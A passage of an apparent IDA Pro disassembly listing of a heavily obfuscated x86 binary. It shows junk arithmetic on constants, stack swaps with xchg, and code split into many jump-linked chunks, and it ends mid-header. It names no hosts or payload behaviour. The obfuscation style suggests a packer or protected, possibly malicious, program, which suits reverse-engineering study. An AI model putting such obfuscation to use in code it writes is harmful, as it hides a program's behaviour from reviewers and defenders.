sub_10014FD4 proc near ; CODE XREF: sub_1001C185:loc_10017588p ; an.kk9rg:10018CB1j arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 1001A1E8 SIZE 00000005 BYTES xchg ebx, [esp+0] pop ebx xchg esi, [esp-4+arg_0] jmp loc_1001A1E8 sub_10014FD4 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10015086 loc_10014FE0: ; CODE XREF: sub_10015086+681Ej pop ebx mov esi, ebx shr ecx, 18h jmp loc_1001B681 ; END OF FUNCTION CHUNK FOR sub_10015086 ; --------------------------------------------------------------------------- loc_10014FEB: ; CODE XREF: an.kk9rg:loc_1001434Fj test eax, 80000h jmp loc_10014CC9 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_51. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_10014FF7: ; CODE XREF: an.kk9rg:1001C2D0j jmp locret_10016BBF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001504E loc_10014FFC: ; CODE XREF: sub_1001504E+3F5Aj cdq loc_10014FFD: ; CODE XREF: sub_1001504E:loc_1001B91Fj call sub_10015792 ; END OF FUNCTION CHUNK FOR sub_1001504E ; START OF FUNCTION CHUNK FOR sub_1001A12F loc_10015002: ; CODE XREF: sub_1001A12F:loc_10014E0Dj cmp dword ptr [eax-1Ch], 0F6h jz loc_10016C09 mov eax, [ebp+8] cmp dword ptr [eax-1Ch], 0F7h push offset loc_10016C03 jmp nullsub_111 ; END OF FUNCTION CHUNK FOR sub_1001A12F ; --------------------------------------------------------------------------- mov [ecx], ebp jmp sub_100130C7 ; --------------------------------------------------------------------------- loc_1001502A: ; DATA XREF: an.kk9rg:10014CACo xchg esi, [esp] mov eax, [ebp-8] loc_10015030: ; CODE XREF: an.kk9rg:1001A083j push ebp mov ebp, eax xchg ebp, [esp] jmp loc_1001ACB9 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_108. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10017394 loc_1001503C: ; CODE XREF: sub_10017394+120Fj push 5731CEE3h adc ebp, 24DDE0AAh cmp eax, ecx jmp loc_1001DE0C ; END OF FUNCTION CHUNK FOR sub_10017394 ; =============== S U B R O U T I N E ======================================= sub_1001504E proc near ; CODE XREF: sub_10019595+Bp ; an.kk9rg:1001C204j ; FUNCTION CHUNK AT 100147E3 SIZE 00000023 BYTES ; FUNCTION CHUNK AT 10014FFC SIZE 00000006 BYTES ; FUNCTION CHUNK AT 10015AF2 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 100178FF SIZE 00000013 BYTES ; FUNCTION CHUNK AT 10018037 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 10018378 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 10018FA6 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 10019838 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 100198AC SIZE 00000005 BYTES ; FUNCTION CHUNK AT 10019F64 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 1001AF5D SIZE 00000015 BYTES ; FUNCTION CHUNK AT 1001B91F SIZE 0000000B BYTES ; FUNCTION CHUNK AT 1001C611 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 1001CE84 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 1001DC35 SIZE 00000014 BYTES xchg edi, [esp+0] pop edi sub al, 99h mov edx, [ebp-4] call sub_10018798 loc_1001505C: ; CODE XREF: an.kk9rg:100180FBj jmp loc_1001AF5D sub_1001504E endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10015E0D loc_10015061: ; CODE XREF: sub_10015E0D+1C22j jmp loc_10016CBF ; END OF FUNCTION CHUNK FOR sub_10015E0D ; =============== S U B R O U T I N E ======================================= sub_10015066 proc near ; DATA XREF: sub_1001BC80:loc_10017D5Eo ; FUNCTION CHUNK AT 10013B47 SIZE 0000001A BYTES ; FUNCTION CHUNK AT 1001580D SIZE 0000001A BYTES ; FUNCTION CHUNK AT 10016799 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 10016E08 SIZE 0000001F BYTES ; FUNCTION CHUNK AT 10017513 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 1001801D SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001850B SIZE 0000000E BYTES ; FUNCTION CHUNK AT 10018B2C SIZE 00000013 BYTES ; FUNCTION CHUNK AT 1001B1AD SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001D353 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001D719 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 1001DBA4 SIZE 00000013 BYTES push 0F6CC837Bh pop eax add eax, 744C1722h jb loc_10013B47 rol ebx, 0Bh test eax, 13715FB6h jmp loc_10016799 sub_10015066 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_10015086 proc near ; CODE XREF: sub_10013389+5FB7j arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 100137F6 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 10013B61 SIZE 00000016 BYTES ; FUNCTION CHUNK AT 10014FE0 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 100159CC SIZE 0000000C BYTES ; FUNCTION CHUNK AT 10015DFD SIZE 00000005 BYTES ; FUNCTION CHUNK AT 100162CF SIZE 00000011 BYTES ; FUNCTION CHUNK AT 1001699B SIZE 0000000B BYTES ; FUNCTION CHUNK AT 10017D3C SIZE 0000000E BYTES ; FUNCTION CHUNK AT 10018086 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 100186CD SIZE 00000008 BYTES ; FUNCTION CHUNK AT 100188D5 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 100196EB SIZE 00000012 BYTES ; FUNCTION CHUNK AT 1001B681 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 1001B713 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 1001B89E SIZE 0000000B BYTES push ebx jb loc_100159CC pushf push esi sub_10015086 endp ; sp-analysis failed ; START OF FUNCTION CHUNK FOR sub_10013389 loc_1001508F: ; CODE XREF: sub_10013389:loc_10013473j call sub_100180C2 mov edx, 19CFC62Bh call sub_1001534D push eax jmp loc_1001547A ; END OF FUNCTION CHUNK FOR sub_10013389 ; =============== S U B R O U T I N E ======================================= sub_100150A4 proc near ; DATA XREF: sub_100182D9:loc_10016556o ; FUNCTION CHUNK AT 1001654E SIZE 00000003 BYTES ; FUNCTION CHUNK AT 10017048 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 1001A62B SIZE 00000005 BYTES xor eax, eax mov [ebp-8], eax jmp loc_1001A62B sub_100150A4 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10018C76 loc_100150AE: ; CODE XREF: sub_10018C76+8j test byte ptr [ebp-8], 8 jz loc_1001601E jmp loc_1001A1E3 ; END OF FUNCTION CHUNK FOR sub_10018C76 ; =============== S U B R O U T I N E ======================================= sub_100150BD proc near ; DATA XREF: an.kk9rg:10016842o var_4 = dword ptr -4 ; FUNCTION CHUNK AT 10016699 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 10016EC9 SIZE 0000001C BYTES push 8906AA6Bh xchg ecx, [esp+4+var_4] mov edx, ecx pop ecx sub edx, 31D0B5FFh test edx, 1000h jmp loc_10016699 sub_100150BD endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001456F loc_100150D9: ; CODE XREF: sub_1001456F:loc_1001562Bj and ecx, ebx ; END OF FUNCTION CHUNK FOR sub_1001456F ; START OF FUNCTION CHUNK FOR sub_10013389 loc_100150DB: ; CODE XREF: sub_10013389:loc_10017195j popf jmp loc_10014345 ; END OF FUNCTION CHUNK FOR sub_10013389 ; =============== S U B R O U T I N E ======================================= sub_100150E1 proc near ; DATA XREF: sub_1001B010:loc_100146D2o var_4 = dword ptr -4 ; FUNCTION CHUNK AT 100156EF SIZE 0000000E BYTES push ecx push 3328B816h pop ecx add ecx, 9BE8B631h and ecx, 0D4F5638Eh rol ecx, 17h xor ecx, 5E0A3691h jmp loc_100156EF sub_100150E1 endp ; --------------------------------------------------------------------------- locret_10015102: ; CODE XREF: an.kk9rg:loc_10017057j retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10018E91 loc_10015103: ; CODE XREF: sub_10018E91+Ej jmp nullsub_37 ; END OF FUNCTION CHUNK FOR sub_10018E91 ; --------------------------------------------------------------------------- loc_10015108: ; CODE XREF: an.kk9rg:1001DD60j ja loc_100178E2 adc edi, ebp shr eax, 1Ah ; START OF FUNCTION CHUNK FOR sub_1001BBDA loc_10015113: ; CODE XREF: sub_1001BBDA:loc_1001DD51j add eax, 0F8F165BDh call sub_1001A2CC ; END OF FUNCTION CHUNK FOR sub_1001BBDA ; START OF FUNCTION CHUNK FOR sub_1001B096 loc_1001511E: ; CODE XREF: sub_1001B096+16j jmp loc_10015766 ; END OF FUNCTION CHUNK FOR sub_1001B096 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100138FD loc_10015123: ; CODE XREF: sub_100138FD+14j jmp loc_10018B14 ; END OF FUNCTION CHUNK FOR sub_100138FD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001C28F loc_10015128: ; CODE XREF: sub_1001C28F:loc_1001C3F2j popf xchg eax, [esp+0] jmp loc_1001B1A8 ; END OF FUNCTION CHUNK FOR sub_1001C28F ; =============== S U B R O U T I N E ======================================= sub_10015131 proc near ; CODE XREF: sub_1001A7CFp ; an.kk9rg:1001AFBCj ; FUNCTION CHUNK AT 100141C8 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 100151D0 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 100158AD SIZE 00000014 BYTES ; FUNCTION CHUNK AT 100169B0 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 10019E70 SIZE 0000001A BYTES ; FUNCTION CHUNK AT 1001DA19 SIZE 0000000B BYTES xchg edx, [esp+0] pop edx push ebp mov ebp, esp add esp, 0FFFFFFF4h mov [ebp-4], eax mov eax, [ebp-4] jmp loc_100158AD sub_10015131 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10014CDF loc_10015146: ; CODE XREF: sub_10014CDF+6574j and ebx, edx loc_10015148: ; CODE XREF: sub_10014CDF:loc_1001B94Bj push eax push 0E4015E7Fh pop eax loc_1001514F: ; CODE XREF: an.kk9rg:loc_10018987j jmp loc_10016616 ; END OF FUNCTION CHUNK FOR sub_10014CDF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10013BB8 loc_10015154: ; CODE XREF: sub_10013BB8:loc_10013BBFj cmp dword ptr [eax], 0FFFFFFFFh mov ebx, [eax+4] mov eax, [eax] jnz loc_10013BBF retn ; END OF FUNCTION CHUNK FOR sub_10013BB8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10014E66 loc_10015163: ; CODE XREF: sub_10014E66+12j jmp loc_1001A94C ; END OF FUNCTION CHUNK FOR sub_10014E66 ; =============== S U B R O U T I N E ======================================= sub_10015168 proc near ; CODE XREF: sub_10018ABA+Cp ; FUNCTION CHUNK AT 10018B45 SIZE 00000005 BYTES push ebx push offset loc_1001907F jmp loc_10018B45 sub_10015168 endp ; --------------------------------------------------------------------------- mov [ecx], ebp jmp sub_1001B319 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001C535 loc_1001517A: ; CODE XREF: sub_1001C535+Cj jnz loc_100165A1 jmp loc_1001903C ; END OF FUNCTION CHUNK FOR sub_1001C535 ; --------------------------------------------------------------------------- and edx, 393D42F2h jmp sub_1001B8D3 ; =============== S U B R O U T I N E ======================================= sub_10015190 proc near ; CODE XREF: sub_10019409-2551p ; an.kk9rg:1001A0E7j ; FUNCTION CHUNK AT 10019868 SIZE 00000012 BYTES xchg esi, [esp+0] pop esi mov eax, [ebp-8] mov al, [eax] add [ebp-0Ah], al jmp loc_10019868 sub_10015190 endp ; sp-analysis failed ; --------------------------------------------------------------------------- xchg ecx, [edx] ; START OF FUNCTION CHUNK FOR sub_1001ABFD loc_100151A3: ; CODE XREF: sub_1001ABFD:loc_1001D104j jmp sub_1001C619 ; END OF FUNCTION CHUNK FOR sub_1001ABFD ; --------------------------------------------------------------------------- loc_100151A8: ; CODE XREF: an.kk9rg:loc_1001A39Ej jz loc_1001C484 jmp loc_1001A764 ; --------------------------------------------------------------------------- loc_100151B3: ; CODE XREF: an.kk9rg:1001C58Fj push 32AC7462h xchg ebp, [esp] mov edi, ebp pop ebp jmp loc_10017259 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001B5A3 loc_100151C3: ; CODE XREF: sub_1001B5A3-82A8j xor ebx, eax pop ebx loc_100151C6: ; CODE XREF: sub_1001B5A3:loc_1001420Bj mov eax, 27C79277h jmp loc_1001A38C ; END OF FUNCTION CHUNK FOR sub_1001B5A3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10015131 loc_100151D0: ; CODE XREF: sub_10015131+1885j rol ebp, 0Bh jmp loc_10019E70 ; END OF FUNCTION CHUNK FOR sub_10015131 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001603C loc_100151D8: ; CODE XREF: sub_1001603C:loc_100159B6j sub ebx, 0D5C49452h xor ebx, 8A3C2CD5h add ebx, 34161F19h xchg ebx, [esp+0] jmp sub_100181E1 ; END OF FUNCTION CHUNK FOR sub_1001603C ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_96. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001AA84 loc_100151F3: ; CODE XREF: sub_1001AA84+3j jmp loc_1001B8A9 ; END OF FUNCTION CHUNK FOR sub_1001AA84 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10013389 loc_100151F8: ; CODE XREF: sub_10013389+43FFj jmp loc_100193BC ; END OF FUNCTION CHUNK FOR sub_10013389 ; =============== S U B R O U T I N E ======================================= sub_100151FD proc near ; DATA XREF: sub_1001701B-CB3o ; FUNCTION CHUNK AT 10018AED SIZE 00000009 BYTES ; FUNCTION CHUNK AT 1001D4AD SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001D70E SIZE 0000000B BYTES sub al, 99h mov edx, [ebp-4] imul byte ptr [edx] cmp al, 0A4h jz loc_10016F60 jmp loc_1001D4AD sub_100151FD endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_10015211: ; CODE XREF: an.kk9rg:loc_10015D99j mov edi, [ecx] pushf cmp ebx, ebp jmp loc_100144D5 ; --------------------------------------------------------------------------- loc_1001521B: ; DATA XREF: sub_1001D4C9+12o pop ebp retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001D4C9 loc_1001521D: ; CODE XREF: sub_1001D4C9+4j mov eax, [ebp+8] cmp dword ptr [eax-0Ch], 4 jmp loc_10014F18 ; END OF FUNCTION CHUNK FOR sub_1001D4C9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10016167 loc_10015229: ; CODE XREF: sub_10016167:loc_1001C4E0j xor ecx, esi rol ecx, 10h jmp loc_1001C8E1 ; END OF FUNCTION CHUNK FOR sub_10016167 ; --------------------------------------------------------------------------- add eax, ecx js loc_1001AFA4 jmp sub_1001C26A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10013389 loc_10015240: ; CODE XREF: sub_10013389:loc_1001D7AFj push 0EB7E9292h pop ebx add ebx, 0CFD424B1h xor ebx, 0A344E93Ch add ebx, ebp add ebx, 0E7E9A171h mov [ebx], eax loc_1001525C: ; CODE XREF: sub_10015B1B:loc_10013274j jmp loc_1001CB43 ; END OF FUNCTION CHUNK FOR sub_10013389 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100136D7 loc_10015261: ; CODE XREF: sub_100136D7+162Dj jnz loc_10016CAC adc ebx, eax jmp loc_1001B029 ; END OF FUNCTION CHUNK FOR sub_100136D7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10015D9E loc_1001526E: ; CODE XREF: sub_10015D9E+A1Cj ja loc_1001D417 xor ecx, ebp ; END OF FUNCTION CHUNK FOR sub_10015D9E ; =============== S U B R O U T I N E ======================================= sub_10015276 proc near ; CODE XREF: sub_10015D9E:loc_10018D57j var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 10015660 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 100187AC SIZE 00000005 BYTES ; FUNCTION CHUNK AT 10019958 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 1001DB82 SIZE 00000017 BYTES push ebp mov ebp, eax xchg ebp, [esp+4+var_4] push 5DF866D1h xchg edi, [esp+8+var_8] add eax, 0DDB95CFDh jmp loc_1001DB82 sub_10015276 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001725E loc_1001528F: ; CODE XREF: sub_1001725E:loc_100195BBj push 8C53EC41h pop ebx xor ebx, 0CFCF7CADh and ebx, 3EE354F9h jns loc_1001D991 ; END OF FUNCTION CHUNK FOR sub_1001725E ; START OF FUNCTION CHUNK FOR sub_1001564A loc_100152A7: ; CODE XREF: sub_1001564A+539Bj jmp loc_1001A529 ; END OF FUNCTION CHUNK FOR sub_1001564A ; --------------------------------------------------------------------------- adc edx, ecx jmp loc_1001D98B ; --------------------------------------------------------------------------- loc_100152B3: ; CODE XREF: an.kk9rg:10014218j jl loc_10018C2F ; =============== S U B R O U T I N E ======================================= sub_100152B9 proc near ; CODE XREF: sub_10013389+2F74p xchg edi, [esp+0] pop edi pop ebp retn sub_100152B9 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001DE48 loc_100152BF: ; CODE XREF: sub_1001DE48-7B59j mov eax, [ebp+8] jmp loc_100134D7 ; END OF FUNCTION CHUNK FOR sub_1001DE48 ; =============== S U B R O U T I N E ======================================= sub_100152C7 proc near ; CODE XREF: sub_10018E79:loc_1001610Bp ; an.kk9rg:10019D25j ; FUNCTION CHUNK AT 1001A59C SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001AFC1 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 1001B4F8 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 1001C7EE SIZE 00000008 BYTES xchg eax, [esp+0] pop eax mov eax, [ebp-4] cmp byte ptr [eax], 0F1h jnz loc_1001C7F3 loc_100152D7: ; CODE XREF: sub_10016167:loc_10014580j jmp loc_1001B4F8 sub_100152C7 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10017A58 loc_100152DC: ; CODE XREF: sub_10017A58:loc_1001AA7Aj test ecx, 5922520Ah jmp loc_1001883A ; END OF FUNCTION CHUNK FOR sub_10017A58 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10013389 loc_100152E7: ; CODE XREF: sub_10013389:loc_1001AB36j jnz loc_1001DB2A sbb ebx, 1501C23Bh and ebp, 5384CA29h jmp loc_1001DB29 ; END OF FUNCTION CHUNK FOR sub_10013389 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001537B loc_100152FE: ; CODE XREF: sub_1001537B:loc_1001DE99j jnz loc_1001B5FE jmp loc_1001974D ; END OF FUNCTION CHUNK FOR sub_1001537B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10017D86 loc_10015309: ; CODE XREF: sub_10017D86-3431j jz loc_10016E52 jmp loc_1001784B ; END OF FUNCTION CHUNK FOR sub_10017D86 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100180C2 loc_10015314: ; CODE XREF: sub_100180C2:loc_1001D8C3j or eax, 63415270h sub eax, 41DDA19Eh and eax, 2318ACEFh add eax, 0B3897679h add eax, ebp push edx push 5CE45E82h pop edx jmp loc_10019CE9 ; END OF FUNCTION CHUNK FOR sub_100180C2 ; =============== S U B R O U T I N E ======================================= sub_1001533A proc near ; CODE XREF: sub_10018AB1-5978p ; an.kk9rg:1001D011j xchg esi, [esp+0] pop esi ror eax, 10h mov ds:dword_1001BC98, eax retn sub_1001533A endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10018628 loc_10015348: ; CODE XREF: sub_10018628+13j jmp loc_10014E08 ; END OF FUNCTION CHUNK FOR sub_10018628 ; =============== S U B R O U T I N E ======================================= sub_1001534D proc near ; CODE XREF: sub_10018AB1:loc_10013133p ; an.kk9rg:10014D77p ... ; FUNCTION CHUNK AT 1001383B SIZE 00000012 BYTES ; FUNCTION CHUNK AT 100181B5 SIZE 00000005 BYTES push ebp jmp loc_100181B5 sub_1001534D endp ; =============== S U B R O U T I N E ======================================= sub_10015353 proc near ; DATA XREF: an.kk9rg:loc_10017B08o ; FUNCTION CHUNK AT 100137FB SIZE 00000005 BYTES ; FUNCTION CHUNK AT 10019F6F SIZE 0000001C BYTES test eax, eax jl loc_1001C0CC inc eax mov [ebp-1Ch], eax jmp loc_100137FB sub_10015353 endp ; --------------------------------------------------------------------------- loc_10015364: ; CODE XREF: an.kk9rg:1001DF2Ej jge loc_10017304 ; =============== S U B R O U T I N E ======================================= sub_1001536A proc near ; CODE XREF: sub_10016D9F+10p ; FUNCTION CHUNK AT 1001C940 SIZE 00000018 BYTES xchg esi, [esp+0] pop esi loc_1001536E: ; CODE XREF: an.kk9rg:1001D8C8j xor eax, 0C372C8h push esi pushf jmp loc_1001C940 sub_1001536A endp ; =============== S U B R O U T I N E ======================================= sub_1001537B proc near ; CODE XREF: an.kk9rg:10015761j ; an.kk9rg:loc_1001DACEp ; FUNCTION CHUNK AT 1001472F SIZE 00000005 BYTES ; FUNCTION CHUNK AT 10014CB6 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 100152FE SIZE 0000000B BYTES ; FUNCTION CHUNK AT 100155BA SIZE 00000008 BYTES ; FUNCTION CHUNK AT 10018D41 SIZE 00000016 BYTES ; FUNCTION CHUNK AT 10019613 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 1001974D SIZE 0000000B BYTES ; FUNCTION CHUNK AT 10019C4A SIZE 00000005 BYTES ; FUNCTION CHUNK AT 10019EA6 SIZE 00000019 BYTES ; FUNCTION CHUNK AT 1001AB30 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 1001B379 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 1001B5F8 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 1001CE06 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 1001DE99 SIZE 00000005 BYTES xchg edx, [esp+0] pop edx loc_1001537F: ; CODE XREF: an.kk9rg:100169D3j sub al, 99h push 0F855C0C9h jmp loc_10014CB6 sub_1001537B endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_1001538B: ; CODE XREF: an.kk9rg:10016D61j cmp ebp, 6E7F3DCAh jmp loc_1001A325 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_163. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10015C14 loc_10015397: ; CODE XREF: sub_10015C14-2AF1j jmp loc_100178BF ; END OF FUNCTION CHUNK FOR sub_10015C14 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10019E17 loc_1001539C: ; CODE XREF: sub_10019E17-53B5j push offset loc_1001A554 loc_100153A1: ; CODE XREF: an.kk9rg:100175D3j jmp loc_1001960E ; END OF FUNCTION CHUNK FOR sub_10019E17 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001498A loc_100153A6: ; CODE XREF: sub_1001498A+513Bj add edx, [ebp-4] add eax, edx mov eax, [eax] add eax, [ebp-4] jmp loc_1001CCD4 ; END OF FUNCTION CHUNK FOR sub_1001498A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10015995 loc_100153B5: ; CODE XREF: sub_10015995:loc_1001A5C1j xor eax, eax retn ; END OF FUNCTION CHUNK FOR sub_10015995 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_100153B8 proc near ; DATA XREF: sub_1001D951-3056o var_C = dword ptr -0Ch ; FUNCTION CHUNK AT 10018B40 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 10019940 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 10019AE7 SIZE 00000026 BYTES ; FUNCTION CHUNK AT 1001B9E5 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001DCE6 SIZE 00000008 BYTES push ebp mov ebp, esp push ecx push 0FFFFFFF1h push eax jmp loc_10018B40 sub_100153B8 endp ; --------------------------------------------------------------------------- loc_100153C4: ; CODE XREF: an.kk9rg:10017068j jg loc_10018E2B loc_100153CA: ; CODE XREF: an.kk9rg:10018560j rol eax, 0Ah jnb loc_10017BD6 loc_100153D3: ; CODE XREF: an.kk9rg:1001D164j jmp loc_1001C911 ; --------------------------------------------------------------------------- loc_100153D8: ; CODE XREF: an.kk9rg:1001AFFFj jmp loc_1001AFCF ; --------------------------------------------------------------------------- sbb ebx, edx shr ebx, 13h jmp loc_10017BCF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10018A31 loc_100153E7: ; CODE XREF: sub_10018A31:loc_1001B306j mov esi, eax pop eax call sub_1001D2D5 ; END OF FUNCTION CHUNK FOR sub_10018A31 ; START OF FUNCTION CHUNK FOR sub_1001B4CC loc_100153EF: ; CODE XREF: sub_1001B4CC+4E5j add eax, 0E7FE5584h rol eax, 1Fh push offset sub_1001590F jmp nullsub_99 ; END OF FUNCTION CHUNK FOR sub_1001B4CC ; =============== S U B R O U T I N E ======================================= sub_10015402 proc near ; CODE XREF: an.kk9rg:10014D60j ; an.kk9rg:10016F94p ; FUNCTION CHUNK AT 10017DF4 SIZE 0000000A BYTES xchg ecx, [esp+0] pop ecx call sub_1001534D push edi mov edi, edx jmp loc_10017DF4 sub_10015402 endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_10015413: ; DATA XREF: sub_10014968+9o mov [ebp-28h], eax push offset sub_10015A60 loc_1001541B: ; CODE XREF: an.kk9rg:loc_1001CB75j jmp locret_10017ACC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10018C4D loc_10015420: ; CODE XREF: sub_10018C4D:loc_1001B9F4j mov [ebp-0Ch], eax cmp dword ptr [ebp-4], 0 jz loc_1001B7CA mov eax, [ebp-4] add eax, 3Ch mov eax, [eax] jmp loc_1001902B ; END OF FUNCTION CHUNK FOR sub_10018C4D ; =============== S U B R O U T I N E ======================================= sub_1001543A proc near ; CODE XREF: an.kk9rg:10017072p ; an.kk9rg:1001CA5Bj ; FUNCTION CHUNK AT 1001998C SIZE 0000000C BYTES xchg eax, [esp+0] pop eax push edi mov edi, ebx loc_10015441: ; CODE XREF: an.kk9rg:1001C24Cj xchg edi, [esp+0] push 8BF79D4Fh pop ebx jmp loc_1001998C sub_1001543A endp ; sp-analysis failed ; --------------------------------------------------------------------------- pop eax pop eax push eax push 0FFFFFFFFh push eax call sub_10015BFC call sub_100173FA jmp loc_1001A5C1 ; --------------------------------------------------------------------------- loc_10015464: ; CODE XREF: an.kk9rg:10016A7Ej push 0CDE7700Ch ; =============== S U B R O U T I N E ======================================= sub_10015469 proc near ; CODE XREF: sub_100183B7+5p ; FUNCTION CHUNK AT 10014C08 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 100158E6 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 100160EA SIZE 0000001B BYTES xchg eax, [esp+0] loc_1001546C: ; CODE XREF: an.kk9rg:100135F8j pop eax mov eax, ds:dword_1001B724 or eax, eax jmp loc_100160EA sub_10015469 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10013389 loc_1001547A: ; CODE XREF: sub_10013389+1D16j push offset sub_1001C44D jmp nullsub_16 ; END OF FUNCTION CHUNK FOR sub_10013389 ; --------------------------------------------------------------------------- push offset loc_10014D65 jmp loc_100192A7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10017667 loc_1001548E: ; CODE XREF: sub_10017667:loc_1001ABA9j jnz loc_100136AC jmp loc_10014BE1 ; END OF FUNCTION CHUNK FOR sub_10017667 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001D5AF loc_10015499: ; CODE XREF: sub_1001D5AF+8j push offset loc_1001B6D5 jmp nullsub_149 ; END OF FUNCTION CHUNK FOR sub_1001D5AF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001CBA8 loc_100154A3: ; CODE XREF: sub_1001CBA8+5ACj adc edi, esi mov [edi], ecx cmp edx, 5E549B9Bh jmp loc_10015722 ; END OF FUNCTION CHUNK FOR sub_1001CBA8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001492C loc_100154B2: ; CODE XREF: sub_1001492C+5C51j ; sub_1001B2A9j ; DATA XREF: ... xchg ebp, [esp-10h+arg_C] call sub_100159A8 loc_100154BA: ; CODE XREF: an.kk9rg:1001A7A3j jmp sub_10019D80 ; END OF FUNCTION CHUNK FOR sub_1001492C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR 